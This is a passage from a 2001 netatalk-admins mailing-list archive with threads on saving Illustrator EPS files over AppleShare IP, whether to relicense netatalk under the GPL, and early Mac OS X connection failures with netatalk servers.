see if they patch it cause I too would like this art department to us the
faster connection.  Which technically they can do by saving the file to
their local workstations and then copying it over the network to the server
(which I'd rather they did anyhow).

Though If it can be proven to be a netatalk issue it probably should be
added as a future feature to relieve frustration for network admins, because
as I can attest to it's hard to break the old bad habbits of an entire art
department.

> From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
> Date: Tue, 27 Mar 2001 10:54:15 -0600 (CST)
> To: Tom Barrons <tom@byte-productions.com>
> Cc: <netatalk-admins@umich.edu>
> Subject: Re: Illustrator EPS files
> 
> I would add this (ability to save EPS files via AppleShareIP) to the
> future feature list as using AppleShare IP is much faster than AppleShare
> itself.
> 
> Thanks for the info!
> 
> -Dan
> 


From netatalk.administrators-errors@umich.edu  Tue Mar 27 13:11:34 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA07484
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 13:11:34 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA28603
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 13:11:34 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA28561
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 13:11:33 -0500 (EST)
Received: from potsdam.edu (potsdam.edu [137.143.110.101])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA28534
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 13:11:32 -0500 (EST)
Received: (qmail 2268 invoked by alias); 27 Mar 2001 18:11:39 -0000
Received: (qmail 2253 invoked by uid 0); 27 Mar 2001 18:11:38 -0000
Received: from comp10574.potsdam.edu (HELO mail.potsdam.edu) (137.143.111.133)
  by potsdam.edu with SMTP; 27 Mar 2001 18:11:38 -0000
Date: Tue, 27 Mar 2001 13:11:28 -0500
From: Matthew Keller <kellermg@potsdam.edu>
To: andrew morgan <morgan@orst.edu>
Cc: netatalk-devel@lists.sourceforge.net, netatalk-admins@umich.edu
Subject: Re: [Netatalk-devel] Another reason to go GPL
Message-ID: <20010327131128.G1212@comp10574.potsdam.edu>
References: <Pine.LNX.4.30.0103270953280.16669-100000@bowman.scf.orst.edu>
Mime-Version: 1.0
Content-Type: text/plain; charset=ISO-8859-1
Content-Transfer-Encoding: 8bit
In-Reply-To: <Pine.LNX.4.30.0103270953280.16669-100000@bowman.scf.orst.edu>; from morgan@orst.edu on Tue, Mar 27, 2001 at 12:55:37 -0500
X-Mailer: Balsa 1.1.2
Lines: 62


	While we're on this topic, I just shut down the licensing survey on
the SourceForge site. The results were pretty much as reflected in the
lists: (please remember that this survey was not scientific, just a tool
used to gauge overall opinions and such. It didn't appear to have any
instances of ballot-stuffing - Thank you all for your cooperation on that).
	Where to go from here? I don't know. After we get 1.5 out the door,
this will become more important.

	(++ = 1, + = 2, 0 = 3, - = 4, -- = 5)

Keep BSD-style licensing:
	3 ++
	1 +
	1 0
	1 -
GPL all of Netatalk
	6 ++
	4 +
	2 0
LGPL lib, GPL everything else
	3 ++
	5 +
	1 0
	1 -
LGPL all of Netatalk
	2 ++
	1 +
	5 0
	3 -

	
On 2001.03.27 12:55:37 -0500 andrew morgan wrote:
> 
> Here's another reason we should go GPL with netatalk.  Samba has a piece
> of code which does quotas on Veritas File Systems which I need to use at
> our site.  Same problem as the file locking code though.  We can't take
> GPL code and place it in netatalk without releasing netatalk as GPL.
> 
> I may be able to get permission from the author of that particular piece
> of code to include it in netatalk anyways, but the samba project itself
> will not release the code for our use.
> 
> GPL - just do it.  :P
> 
> 	Andy
> 
> 
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> http://lists.sourceforge.net/lists/listinfo/netatalk-devel
> 
> 
-- 
Matthew Keller
Enterprise System Analyst
Computing & Technology Services
Information Services Division
State University of NY at Potsdam

http://mattwork.potsdam.edu/


From netatalk.administrators-errors@umich.edu  Tue Mar 27 13:27:21 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA07831
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 13:27:20 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA28083
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 13:27:14 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA27990
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 13:27:11 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA27910
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 13:27:09 -0500 (EST)
Received: (qmail 7995 invoked by uid 500); 27 Mar 2001 18:27:03 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 27 Mar 2001 18:27:03 -0000
Date: Tue, 27 Mar 2001 12:27:03 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: andrew morgan <morgan@orst.edu>
cc: <netatalk-devel@lists.sourceforge.net>, <netatalk-admins@umich.edu>
Subject: Re: Another reason to go GPL
In-Reply-To: <Pine.LNX.4.30.0103270953280.16669-100000@bowman.scf.orst.edu>
Message-ID: <Pine.LNX.4.30.0103271226480.7887-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Here, here! Let's go GPL...

-Dan

On Tue, 27 Mar 2001, andrew morgan wrote:

>
> Here's another reason we should go GPL with netatalk.  Samba has a piece
> of code which does quotas on Veritas File Systems which I need to use at
> our site.  Same problem as the file locking code though.  We can't take
> GPL code and place it in netatalk without releasing netatalk as GPL.
>
> I may be able to get permission from the author of that particular piece
> of code to include it in netatalk anyways, but the samba project itself
> will not release the code for our use.
>
> GPL - just do it.  :P
>
> 	Andy
>
>

-- 

Daniel E. Lautenschleger
University of Wisconsin
R.M. Bock Laboratories
Network Administrator and Computer Support
dan@www.molbio.wisc.edu


From netatalk.administrators-errors@umich.edu  Tue Mar 27 13:28:50 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA07877
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 13:28:50 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA00410
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 13:28:44 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA00372
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 13:28:42 -0500 (EST)
Received: from postal.interaccess.com (from.interaccess.com [207.208.131.20])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA00300
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 13:28:40 -0500 (EST)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by postal.interaccess.com (8.10.2/8.10.2) with ESMTP id f2RISWO20678
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 12:28:32 -0600 (CST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 27 Mar 2001 12:27:38 -0600
Subject: Re: Another reason to go GPL
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B6E637BA.13156%bucky@interaccess.com>
In-Reply-To: <Pine.LNX.4.30.0103270953280.16669-100000@bowman.scf.orst.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

A reason not to go GPL: companies will be less likely to assist with
development if they can't release their own version without being
_compelled_ to give away everything they've done on it.

Perhaps Samba should consider the BSD license.

GPL: please don't.

-B...

> From: andrew morgan <morgan@orst.edu>
> Date: Tue, 27 Mar 2001 09:55:37 -0800 (PST)
> To: <netatalk-devel@lists.sourceforge.net>, <netatalk-admins@umich.edu>
> Subject: Another reason to go GPL
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Tue, 27 Mar 2001 13:04:14 -0500 (EST)
> 
> 
> Here's another reason we should go GPL with netatalk.  Samba has a piece
> of code which does quotas on Veritas File Systems which I need to use at
> our site.  Same problem as the file locking code though.  We can't take
> GPL code and place it in netatalk without releasing netatalk as GPL.
> 
> I may be able to get permission from the author of that particular piece
> of code to include it in netatalk anyways, but the samba project itself
> will not release the code for our use.
> 
> GPL - just do it.  :P
> 
> Andy
> 


From netatalk.administrators-errors@umich.edu  Tue Mar 27 13:29:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA07897
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 13:29:04 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA00837
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 13:28:57 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA00808
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 13:28:56 -0500 (EST)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.89])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA00745
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 13:28:55 -0500 (EST)
Received: by smtpout.mac.com; Tue, 27 Mar 2001 10:26:59 -0800 (PST)
Message-Id: <200103271826.KAA10847@smtpout.mac.com>
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15) with ESMTP
          id GAVCKZ00.A1I for <netatalk-admins@umich.edu>; Tue, 27 Mar
          2001 10:26:59 -0800 
Received: from localhost ([213.97.106.73]) by asmtp01.mac.com
          (Netscape Messaging Server 4.15) with ESMTP id GAVCKX00.NDM for
          <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 10:26:57 -0800 
Date: Tue, 27 Mar 2001 20:26:21 +0200
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
X-Mailer: Apple Mail (2.387)
From: Jason Quigley <jasonq@mac.com>
To: netatalk-admins@umich.edu
Mime-Version: 1.0 (Apple Message framework v387)
In-Reply-To: <005601c0b37f$fca8bff0$190200c0@gpagnard>
Subject: Mac OS X and netatalk...
Content-Transfer-Encoding: 7bit

I don't know if anybody else has been testing this combo recently. I 
tested with the public beta and had no success copying or moving files. 
Now, it appears to have gone from bad to worse, I cannot even connect to 
the server. It connection "unexpectedly" closed. The second time I tried 
connecting, I had a kernel panic (not me personally, though close :-)

Apple still has a way to go to get this up and running, so if you're 
planning on buying public beta 2, don't bother for a while. I hope not 
too many people have invested money in this yet.

BTW - It's still as slow as the PB too, if not slower. All those reports 
you've read on the web are rubbish. I think it's just geeks playing with 
techie things as opposed to using it in the real world.

Cheers,
Jason.

From netatalk.administrators-errors@umich.edu  Tue Mar 27 13:34:05 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA08078
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 13:34:04 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA09051
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 13:33:58 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA09030
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 13:33:57 -0500 (EST)
Received: from mcfeely.interaccess.com (from.interaccess.com [207.208.131.20])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA08774
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 13:33:55 -0500 (EST)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by mcfeely.interaccess.com (8.10.2/8.10.2) with ESMTP id f2RIXrB04070
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 12:33:53 -0600 (CST)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 27 Mar 2001 12:32:52 -0600
Subject: Re: Illustrator EPS files
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: netatalk <netatalk-admins@umich.edu>
Message-ID: <B6E638F4.13157%bucky@interaccess.com>
In-Reply-To: <B6E641B2.D28%tom@byte-productions.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Mac OS 9.1 can share via TCP/IP. That may help your testing.

-B...

> From: Tom Barrons <tom@byte-productions.com>
> Date: Tue, 27 Mar 2001 13:10:11 -0500
> To: netatalk <netatalk-admins@umich.edu>
> Subject: RE: Illustrator EPS files
> Resent-From: netatalk-admins@umich.edu
> Resent-Date: Tue, 27 Mar 2001 13:19:38 -0500 (EST)
> 
> Dan, Actually I don't think my trials indicate the problem is netatalk, it
> might be Illustrator that has the problem.  As Alan suggested Adobe may have
> mad a change in version 9 that is the culprit.  Since I don't own Apple's
> AppleShare IP Server, I can't test it to verify either case.
> 
> I'm going to post my findings to Adobe and then keep an eye on their site to
> see if they patch it cause I too would like this art department to us the
> faster connection.  Which technically they can do by saving the file to
> their local workstations and then copying it over the network to the server
> (which I'd rather they did anyhow).
> 
> Though If it can be proven to be a netatalk issue it probably should be
> added as a future feature to relieve frustration for network admins, because
> as I can attest to it's hard to break the old bad habbits of an entire art
> department.
> 
>> From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
>> Date: Tue, 27 Mar 2001 10:54:15 -0600 (CST)
>> To: Tom Barrons <tom@byte-productions.com>
>> Cc: <netatalk-admins@umich.edu>
>> Subject: Re: Illustrator EPS files
>> 
>> I would add this (ability to save EPS files via AppleShareIP) to the
>> future feature list as using AppleShare IP is much faster than AppleShare
>> itself.
>> 
>> Thanks for the info!
>> 
>> -Dan
>> 
> 


From netatalk.administrators-errors@umich.edu  Tue Mar 27 13:41:16 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA08190
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 13:41:16 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA10960
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 13:41:15 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA10909
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 13:41:14 -0500 (EST)
Received: from trinity.magpage.com (trinity.magpage.com [216.155.0.8])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA10855
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 13:41:13 -0500 (EST)
Received: from [216.155.36.73] ([216.155.36.73])
	by trinity.magpage.com (8.11.2/8.11.2) with ESMTP id f2RIfC497754
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 13:41:12 -0500 (EST)
Mime-Version: 1.0
X-Sender: ryannm@mail.magpage.com
Message-Id: <v04210101b6e68e4892f9@[216.155.36.73]>
In-Reply-To: <200103271826.KAA10847@smtpout.mac.com>
References: <200103271826.KAA10847@smtpout.mac.com>
Date: Tue, 27 Mar 2001 13:41:11 -0500
To: netatalk-admins@umich.edu
From: Ryan McBeth <ryan@mobiusnm.com>
Subject: Re: Mac OS X and netatalk...
Content-Type: text/plain; charset="us-ascii" ; format="flowed"


	If what I've been hearing, and what I've been experimenting 
with is correct, we are all in for a heck of a time.  Straight 
Appletalk doesn't work anymore.  You need an IP address, and then, 
you can't connect to Machines lower than OS X, although they can 
connect to you.

	Unfortunately, I realized this *after* I put it on my iBook. 
I knew I was going to have problems, but losing straight appletalk is 
one big problem.  Now the only way to transfer files to and from my 
PC is through connecting and disconnecting a zip drive.

	Everyone really needs to tread lightly with this new OS.

	Ryan

>I don't know if anybody else has been testing this combo recently. I 
>tested with the public beta and had no success copying or moving 
>files. Now, it appears to have gone from bad to worse, I cannot even 
>connect to the server. It connection "unexpectedly" closed. The 
>second time I tried connecting, I had a kernel panic (not me 
>personally, though close :-)
>
>Apple still has a way to go to get this up and running, so if you're 
>planning on buying public beta 2, don't bother for a while. I hope 
>not too many people have invested money in this yet.
>
>BTW - It's still as slow as the PB too, if not slower. All those 
>reports you've read on the web are rubbish. I think it's just geeks 
>playing with techie things as opposed to using it in the real world.
>
>Cheers,
>Jason.

__________________________________
Ryan McBeth
Systems Administrator, Mobius New Media
Voice: (302) 475-9880 x11
FAX: (302) 475-9894
www.mobiusnm.com
__________________________________
The secret to not getting burned out is to play at
working hard, and not taking things too seriously.
- Linus Torvalds


From netatalk.administrators-errors@umich.edu  Tue Mar 27 13:43:01 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA08231
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 13:43:01 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA24074
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 13:42:55 -0500 (EST)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA24049
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 13:42:54 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA23995
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 13:42:53 -0500 (EST)
Received: (qmail 8046 invoked by uid 500); 27 Mar 2001 18:42:47 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 27 Mar 2001 18:42:47 -0000
Date: Tue, 27 Mar 2001 12:42:47 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: Jason Quigley <jasonq@mac.com>
cc: <netatalk-admins@umich.edu>
Subject: Re: Mac OS X and netatalk...
In-Reply-To: <200103271826.KAA10847@smtpout.mac.com>
Message-ID: <Pine.LNX.4.30.0103271240500.7887-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I get the same response.

Mar 27 11:00:07 itchy afpd[2804]: login usrdel (uid 500, gid 500)
Mar 27 11:00:11 itchy afpd[2804]: dsi_stream_read(0): No such process
Mar 27 11:00:11 itchy PAM_pwdb[2804]: (netatalk) session closed for user usrdel
Mar 27 11:00:11 itchy afpd[2804]: 0.45KB read, 8.53KB written
Mar 27 11:00:11 itchy afpd[2804]: Connection terminated
Mar 27 11:00:11 itchy afpd[2370]: server_child[1] 2804 exited 1


On Tue, 27 Mar 2001, Jason Quigley wrote:

> I don't know if anybody else has been testing this combo recently. I
> tested with the public beta and had no success copying or moving files.
> Now, it appears to have gone from bad to worse, I cannot even connect to
> the server. It connection "unexpectedly" closed. The second time I tried
> connecting, I had a kernel panic (not me personally, though close :-)
>
> Apple still has a way to go to get this up and running, so if you're
> planning on buying public beta 2, don't bother for a while. I hope not
> too many people have invested money in this yet.
>
> BTW - It's still as slow as the PB too, if not slower. All those reports
> you've read on the web are rubbish. I think it's just geeks playing with
> techie things as opposed to using it in the real world.
>
> Cheers,
> Jason.
>
>

-- 

Daniel E. Lautenschleger
University of Wisconsin
R.M. Bock Laboratories
Network Administrator and Computer Support
dan@www.molbio.wisc.edu


From netatalk.administrators-errors@umich.edu  Tue Mar 27 13:44:30 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA08272
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 13:44:29 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA15566
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 13:44:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA15555
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 13:44:27 -0500 (EST)
Received: from www.molbio.wisc.edu (www.molbio.wisc.edu [144.92.19.124])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with SMTP id NAA15485
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 13:44:25 -0500 (EST)
Received: (qmail 8054 invoked by uid 500); 27 Mar 2001 18:44:13 -0000
Received: from localhost (sendmail-bs@127.0.0.1)
  by localhost with SMTP; 27 Mar 2001 18:44:13 -0000
Date: Tue, 27 Mar 2001 12:44:13 -0600 (CST)
From: "Daniel E. Lautenschleger" <dan@www.molbio.wisc.edu>
To: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
cc: <netatalk-admins@umich.edu>
Subject: Re: Another reason to go GPL
In-Reply-To: <B6E637BA.13156%bucky@interaccess.com>
Message-ID: <Pine.LNX.4.30.0103271243170.7887-100000@www.molbio.wisc.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

Well, I'd say we really don't have a long history of companies just
itchin' to help with Netatalk anyways.

-Dan

On Tue, 27 Mar 2001, Bruce A. Burdick, Jr. wrote:

> A reason not to go GPL: companies will be less likely to assist with
> development if they can't release their own version without being
> _compelled_ to give away everything they've done on it.
>
> Perhaps Samba should consider the BSD license.
>
> GPL: please don't.
>
> -B...
>
> > From: andrew morgan <morgan@orst.edu>
> > Date: Tue, 27 Mar 2001 09:55:37 -0800 (PST)
> > To: <netatalk-devel@lists.sourceforge.net>, <netatalk-admins@umich.edu>
> > Subject: Another reason to go GPL
> > Resent-From: netatalk-admins@umich.edu
> > Resent-Date: Tue, 27 Mar 2001 13:04:14 -0500 (EST)
> >
> >
> > Here's another reason we should go GPL with netatalk.  Samba has a piece
> > of code which does quotas on Veritas File Systems which I need to use at
> > our site.  Same problem as the file locking code though.  We can't take
> > GPL code and place it in netatalk without releasing netatalk as GPL.
> >
> > I may be able to get permission from the author of that particular piece
> > of code to include it in netatalk anyways, but the samba project itself
> > will not release the code for our use.
> >
> > GPL - just do it.  :P
> >
> > Andy
> >
>
>

-- 

Daniel E. Lautenschleger
University of Wisconsin
R.M. Bock Laboratories
Network Administrator and Computer Support
dan@www.molbio.wisc.edu


From netatalk.administrators-errors@umich.edu  Tue Mar 27 13:51:22 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA08464
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 13:51:22 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA09649
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 13:51:22 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id NAA09617
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 13:51:20 -0500 (EST)
Received: from wolverine.emji.net (wolverine.emji.net [207.22.135.6])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id NAA09571
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 13:51:19 -0500 (EST)
Received: from [0.0.0.0] (sdhcp5.emji.net [207.100.35.248])
	by wolverine.emji.net (8.9.3/8.9.3) with ESMTP id NAA12123;
	Tue, 27 Mar 2001 13:48:22 -0500
Date: Tue, 27 Mar 2001 13:51:13 -0500
From: Scott Every <scott@emji.net>
To: Jason Quigley <jasonq@mac.com>, netatalk-admins@umich.edu
Subject: Re: Mac OS X and netatalk...
Message-ID: <2009032.985701073@[0.0.0.0]>
In-Reply-To: <200103271826.KAA10847@smtpout.mac.com>
References:  <200103271826.KAA10847@smtpout.mac.com>
X-Mailer: Mulberry/2.1.0a2 (Mac OS X)
MIME-Version: 1.0
Content-Type: text/plain; charset=us-ascii; format=flowed
Content-Transfer-Encoding: 7bit
Content-Disposition: inline

actually, i use it in the real world and it runs VERY well on the new pbg4

i do have problems connecting with appletalk servers, but expect that the 
osx appletalk client is still weak.  the server side appletalk is rock 
solid. bugfixes will come soon i'm sure.

if you are running classic reformatting with a clean copy of 9.1 will make 
things run better.  classic is faster than 9.1 native for most things. 
better yet get rid of classic and its even faster.

s


--On Tuesday, March 27, 2001 8:26 PM +0200 Jason Quigley <jasonq@mac.com> 
wrote:

> I don't know if anybody else has been testing this combo recently. I
> tested with the public beta and had no success copying or moving files.
> Now, it appears to have gone from bad to worse, I cannot even connect to
> the server. It connection "unexpectedly" closed. The second time I tried
> connecting, I had a kernel panic (not me personally, though close :-)
>
> Apple still has a way to go to get this up and running, so if you're
> planning on buying public beta 2, don't bother for a while. I hope not
> too many people have invested money in this yet.
>
> BTW - It's still as slow as the PB too, if not slower. All those reports
> you've read on the web are rubbish. I think it's just geeks playing with
> techie things as opposed to using it in the real world.
>
> Cheers,
> Jason.



From netatalk.administrators-errors@umich.edu  Tue Mar 27 14:15:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA09240
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 27 Mar 2001 14:15:04 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA27321
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 27 Mar 2001 14:15:04 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA27296
	for netatalk.administrators-members@umich.edu; Tue, 27 Mar 2001 14:15:03 -0500 (EST)
Received: from smtpout.mac.com (smtpout.mac.com [204.179.120.89])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA27242
	for <netatalk-admins@umich.edu>; Tue, 27 Mar 2001 14:15:01 -0500 (EST)
Received: by smtpout.mac.com; Tue, 27 Mar 2001 11:11:52 -0800 (PST)
Message-Id: <200103271911.LAA17122@smtpout.mac.com>
Received: from asmtp01.mac.com ([10.13.10.65]) by
          smtp-relay01.mac.com (Netscape Messaging Server 4.15) with ESMTP
          id GAVENS00.PZY for <netatalk-admins@umich.edu>; Tue, 27 Mar
          2001 11:11:52 -0800 
Received: from localhost ([213.97.106.73]) by asmtp01.mac.com
          (Netscape Messaging Server 4.15) with ESMTP id GAVENP00.NDU;
          Tue, 27 Mar 2001 11:11:49 -0800 
Date: Tue, 27 Mar 2001 21:11:42 +0200
From: Jason Quigley <jasonq@mac.com>
Content-Type: text/plain;
	format=flowed;
	charset=us-ascii
Subject: Re: Mac OS X and netatalk...
Cc: netatalk-admins@umich.edu
To: Scott Every <scott@emji.net>
X-Mailer: Apple Mail (2.387)
In-Reply-To: <2009032.985701073@[0.0.0.0]>
Mime-Version: 1.0 (Apple Message framework v387)
Content-Transfer-Encoding: 7bit

On Tuesday, March 27, 2001, at 08:51  pm, Scott Every wrote:

> actually, i use it in the real world and it runs VERY well on the new 
> pbg4

pbg4 says it all. OS X has acceleration for G4 machines. Those of us 
with with G3's have to live in a world where, in comparison,  OS 8.1 
feels positively spritely on a 7100/66! ;-)

Cheers,
Jason.

From netatalk.administrators-errors@umich.edu  Tue Mar 27 14:23:34 2001
